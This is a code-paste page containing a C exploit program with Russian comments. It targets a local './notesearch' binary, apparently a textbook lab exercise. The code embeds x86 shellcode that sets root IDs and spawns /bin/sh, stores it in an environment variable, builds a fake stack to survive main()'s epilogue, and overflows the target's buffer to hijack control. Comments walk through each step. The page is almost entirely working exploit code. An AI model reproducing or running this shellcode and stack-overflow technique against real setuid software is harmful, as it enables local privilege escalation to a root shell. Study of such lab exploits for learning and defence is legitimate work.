fork download
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <assert.h>
  6. #include <stdint.h>
  7.  
  8. char shellcode[]= "ADDR"
  9. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  10. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  11. "\xe1\xcd\x80";
  12.  
  13. int main(int argc, char *argv[]) {
  14. char *env[2] = {shellcode, 0};
  15. unsigned int i, start, fakestack, ret;
  16. char *buffer = (char *) malloc(160);
  17.  
  18. // 1. Вычисляем адрес shellcode. Тут все ок, пока не включена рандомизация.
  19. start = 0xbffffffa - (sizeof(shellcode) - 1) - strlen("./notesearch");
  20.  
  21. // 2. В результате переполнения буфера при strcpy() мы затираем не только
  22. // адрес возврата, но и стековый фрейм. В эпилоге main() стековый фрейм
  23. // восстанавливается, и ESP начинает указывать не на адрес возврата, а на
  24. // мусор, в результате мы получаем сегфолт. В эпилоге происходит примерно
  25. // следующее:
  26. // POP ECX ; ECX теперь почти frame pointer - указатель на аргументы main().
  27. // LEA ESP,[ECX-4] ; Аргументы начинаются по ESP+4, значит, оригинальный ESP равен ECX-4.
  28. // RETN ; Переходим по [ESP].
  29.  
  30. // 3. Т.е., чтобы эксплоит сработал, нам надо создать свой собственный стек
  31. // из одного элемента и положить туда "правильный" адрес возврата. Для
  32. // хранения "стека" используем первые 4 байта shellcode (где "ADDR").
  33.  
  34. // Вычисляем нужный адрес возврата у жертвы.
  35. ret = start + 4;
  36.  
  37. // Пропатчиваем в наш "стек" нужный нам адрес возврата (вместо "ADDR").
  38. *(uint32_t *) shellcode = ret;
  39.  
  40. // 4. Но мы помним, что в эпилоге main() от значения, которым мы будем
  41. // заполнять буфер, отнимется 4, поэтому мы компенсируем это прибавлением 4
  42. // к адресу нашего маленького стека.
  43. fakestack = start + 4;
  44.  
  45. // 5. Заполняем буфер, переполняем буфер, ESP начинает указывать на наш
  46. // стек, RETN берет из него адрес возврата, shellcode выполняется, профит.
  47. for(i = 0; i < 160; i += 4)
  48. *((unsigned int *)(buffer + i)) = fakestack;
  49.  
  50. execle("./notesearch", "notesearch", buffer, 0, env);
  51. free(buffer);
  52. }
  53.  
Success #stdin #stdout 0s 2288KB
stdin
Standard input is empty
stdout
Standard output is empty